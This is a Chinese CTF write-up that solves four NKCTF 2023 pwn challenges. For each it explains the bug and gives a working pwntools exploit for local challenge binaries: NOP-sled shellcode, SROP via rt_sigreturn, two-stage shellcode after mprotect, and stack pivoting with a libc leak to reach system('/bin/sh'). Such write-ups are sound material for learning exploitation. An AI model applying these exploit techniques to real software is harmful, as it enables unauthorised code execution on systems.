2023年 NKCTF 部分Pwn题解

2023-04-01
  1. ez_shellcode:
  2. ez_stack:
  3. 9961code:
  4. a_story_of_a_pwner:
  5. 题目下载:

ez_shellcode:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  char buf[108]; // [rsp+0h] [rbp-70h] BYREF
  int v6; // [rsp+6Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
  puts("welcome to NKCTF!");
  puts("u can make it in 5 min!");
  read(0, buf, 0x100uLL);
  v3 = strlen(buf);
  strncpy(buf2, buf, v3);
  puts("good luck!");
  v6 = rand() % 100 + 1;
  ((void (*)(void))&buf2[v6])();
  return 0;
}

((void (*)(void))&buf2[v6])();会执行输入的数据,可以写入shellcode。不过前面有rand来使开始执行的位置随机,可以使用nop指令(对应的机器码为\x90)来就对shellcode填充。

PS:感觉应该加上个播种函数,不然每次运行rand()都是一样的。同时100是不是应该为0x100,因为shellcode长度才0x30,前面填0x70的nop,不管怎样都会对上。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./ezshellcode")

shellcode = asm(shellcraft.sh())
payload = shellcode.rjust(0x100, b'\x90')

io.sendline(payload)
io.interactive()

ez_stack:

程序中write和read操作直接使用系统调用,直接看汇编可以了解更多信息:

.text:00000000004011B9                               ; __unwind {
.text:00000000004011B9 F3 0F 1E FA                   endbr64
.text:00000000004011BD 55                            push    rbp
.text:00000000004011BE 48 89 E5                      mov     rbp, rsp
.text:00000000004011C1 48 C7 C0 01 00 00 00          mov     rax, 1
.text:00000000004011C8 48 C7 C2 26 00 00 00          mov     rdx, 26h ; '&'        ; count
.text:00000000004011CF 48 8D 34 25 40 40 40 00       lea     rsi, nkctf            ; "Welcome to the binary world of NKCTF!\n"
.text:00000000004011D7 48 89 C7                      mov     rdi, rax              ; fd
.text:00000000004011DA 0F 05                         syscall                       ; LINUX - sys_write
.text:00000000004011DC 48 31 C0                      xor     rax, rax
.text:00000000004011DF 48 C7 C2 00 02 00 00          mov     rdx, 200h             ; count
.text:00000000004011E6 48 8D 74 24 F0                lea     rsi, [rsp+buf]        ; buf
.text:00000000004011EB 48 89 C7                      mov     rdi, rax              ; fd
.text:00000000004011EE 0F 05                         syscall                       ; LINUX - sys_read
.text:00000000004011F0 B8 00 00 00 00                mov     eax, 0
.text:00000000004011F5 5D                            pop     rbp
.text:00000000004011F6 C3                            retn
.text:00000000004011F6                               ; } // starts at 4011B9

程序给了两个这样的gadget,暗示使用SROP:

.text:0000000000401146                               ; ---------------------------------------------------------------------------
.text:0000000000401146
.text:0000000000401146                               loc_401146:                   ; DATA XREF: _sub_401136+8↑r
.text:0000000000401146 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:000000000040114D C3                            retn
.text:000000000040114D
.text:000000000040114E                               ; ---------------------------------------------------------------------------
.text:000000000040114E 0F 05                         syscall                       ; LINUX -
.text:0000000000401150 C3                            retn
.text:0000000000401150

同时存在栈溢出漏洞,表面我们可以控制执行流,从而调用rt_sigreturn来伪造sigframe,从而调用execve。不过参数/bin/sh是个问题。比较巧妙的是,在执行完sysread后,可以使控制执行流回到0x4011C8,相当于是sys_read借了sys_write的参数用了一下。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./ez_stack")

rax_15 = 0x401146
syscall_ret = 0x40114E
comeback = 0x4011C8
buf = 0x404040

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = buf
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret

payload1 = b'a' * 0x18 + p64(comeback)
io.sendafter('NKCTF!\n', payload1)
sleep(1)
io.send(b'/bin/sh\x00')
sleep(1)
payload2 = b'a' * 0x18 + p64(rax_15) + p64(syscall_ret) + flat(sigframe)
io.send(payload2)
io.interactive()

9961code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]

  init(argc, argv, envp);
  buf = (void *)(int)mmap((void *)0x9961000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Last night i played touhou fuujinroku ~ Mountain of Faith\n");
  puts("F**k! I failed and 9961 in the end!\n");
  puts("In that case, you can only enter a very short shellcode!\n");
  read(0, buf, 0x16uLL);
  puts("I hope you can NMNB it!");
  mprotect(buf, 0x1000uLL, 4);
  JUMPOUT(0x9961000LL);
}

程序在0x9961000处开辟了一页空间,后面该页的权限改为了仅可写,然后跳转到该处执行。由于首次只能写入0x16字节的数据,所以在get shell之前得先将该页的权限改为rwx,然后继续调用sys_read对buf写入更多的数据。最后是get shell。


cdq指令:将EDX的所有位变成EAX最高位的值。

传入/bin/sh\x00时,0字符截断的问题:使用/bin//sh字符串。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./pwn")

io.send(asm('''
            mov rdi, r15
            xor eax, eax
            cdq
            mov al, 10
            mov dl, 7
            syscall
            xor eax, eax
            mov esi, edi
            mov edi, eax
            mov dl, 0x7f
            syscall
            '''))

io.send(b'\x90' * 0x16 + asm('''
            mov rsp, rsi
            add rsp, 0x1000
            xor rsi, rsi
            mul rsi

            push rax
            mov rbx, 0x68732f2f6e69622f
            push rbx

            mov rdi, rsp
            mov al, 59

            syscall
            '''))
io.interactive()

a_story_of_a_pwner:

// 这里存在栈溢出
ssize_t heart()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  puts("now, come and read my heart...");
  return read(0, buf, 0x20uLL);
}

// 这里可以泄露libc基址
int warning()
{
  puts("Before u read this, i think u should read first 3.");
  return printf("I give it up, you can see this. %p\n", &puts);
}

由于栈溢出的可溢出数据较少,栈迁移是必不可少的。不过每次最多只能写0x20的字节,无法控制执行流get shell。此时将system的地址写入comment的空间中,然后栈迁移时调整写入数据的位置,使之刚好后面接到system。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./pwn")
libc = ELF("./libc.so.6")
back_read = 0x401387

# leak libc
io.recv()
io.sendline("4")
io.recvuntil("I give it up, you can see this. 0x")
libc_base = int(io.recv(12), 16)  - libc.sym['puts']
print("libc_base: " + str(hex(libc_base)))

ogg = libc_base + 0xe3b04
pop_rdi = 0x401573
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
system = libc_base + libc.sym['system']
ret = 0x40101a
love_comment = 0x4050A0 - 0x10

io.sendlineafter("> ", "1")
io.sendlineafter("what's your comment?", 'a'*8)
io.sendlineafter("> ", "2")
io.sendlineafter("what's your corment?", 'a'*8)
io.sendlineafter("> ", "3")
io.sendlineafter("what's your corMenT?", p64(system))

io.sendlineafter("> ", "4")
io.sendafter("now, come and read my heart...", b'a'*0xa + p64(love_comment) + p64(back_read))
p1 = b'a'*0xa + p64(love_comment+0xa) + p64(back_read)
io.send(p1.ljust(0x20, b'\x00'))

p2 = p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh)
io.send(p2.ljust(0x20, b'\x00'))

io.interactive()

题目下载:

链接:https://pan.baidu.com/s/1Tk4C0l4fOER_qKxeeZzktQ
提取码:lele

返回首页